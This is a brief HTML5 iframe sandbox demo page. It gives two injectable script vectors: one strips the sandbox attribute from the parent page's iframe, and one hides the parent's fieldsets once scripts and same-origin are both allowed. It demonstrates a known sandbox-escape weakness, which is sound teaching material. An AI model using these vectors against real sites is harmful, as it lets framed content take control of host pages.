HTML5 Iframe Sandbox Demo

Inject the below vectors after "Allow-scripts" and "Allow-same-origin" is checked

<script>var s=top.document.getElementsByTagName('iframe')[0];$(s).removeAttr('sandbox'); </script>
<script>$(top.document).find('fieldset').hide()</script>